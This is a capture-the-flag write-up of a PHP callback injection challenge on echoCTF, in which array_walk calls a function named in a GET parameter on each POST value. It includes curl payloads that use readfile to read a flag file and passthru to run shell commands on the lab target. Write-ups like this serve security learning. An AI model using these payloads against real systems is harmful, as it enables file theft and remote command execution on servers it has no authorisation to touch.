2 min read

echoCTF ezConsty Writeup: PHP Callback Injection via array_walk

echoCTF ezConsty Writeup: PHP Callback Injection via array_walk

Challenge Info

  • Platform: echoCTF
  • Category: Web Security
  • Difficulty: CTF Playground
  • Description: "callback challenge ezConsty..."
  • Challenge link: https://echoctf.red/target/97

Walkthrough

Step 1:

Initial recon. Visiting the site without supplying a callback parameter dumps the PHP source code:

Key observations:

  • The function to be executed is controlled through $_GET['callback']
  • array_walk() runs the callback against every POST parameter
  • It includes /app/echoctf.php

Step 2:

Understanding how array_walk works. Let's probe the behaviour of array_walk:

curl -X POST "http://10.0.14.31/?callback=var_dump" \
     -d "test=123"

Output:

string(3) "123"   # $value (the POST value)
string(4) "test"  # $key (the POST key)
bool(true)        # array_walk return value

Takeaway: array_walk($_POST, 'callback') calls callback($value, $key).

Step 3:

Reading the hidden file with readfile. Now that the mechanism is clear, we use PHP's readfile() function to read the file:

curl -X POST "http://10.0.14.31/?callback=readfile" \
     -d "test=/app/echoctf.php"

Success:

<?php define("ETSCTF_DEFINE_FLAG","ETSCTF_REDACTED");
bool(true)

Flag captured!

Step 4: Exploring other approaches

Method 2: running system commands with passthru

First, check whether there are any files in the current directory:

curl -X POST "http://10.0.14.31/?callback=passthru" \
     -d "id=ls"

We find echoctf.php, so read it directly:

curl -X POST "http://10.0.14.31/?callback=passthru" \
     -d "id=cat echoctf.php"

This outputs the same FLAG content.

Key Takeaways

  • Callback Injection vulnerability: never let a user control the name of the function being called
  • How array_walk passes arguments:
    • It calls callback($value, $key)
    • The POST value becomes the first argument, the key becomes the second

Lessons Learned

A few things I picked up while solving this:

PHP functions vs. Linux commands

  • readfile is a built-in PHP function that reads a file directly
  • To run Linux commands you need something like system(), exec(), or passthru()

Debugging tip. Start with a simple function to figure out how arguments are passed:

# Test the argument order
curl -X POST "http://10.0.14.31/?callback=var_dump" -d "key=value"
# Output
string(5) "value"
string(3) "key"
bool(true)

In short, this challenge neatly combines PHP callback injection with the quirks of array_walk. It taught me the finer details of how PHP passes function arguments, as well as how different functions expect different numbers of arguments.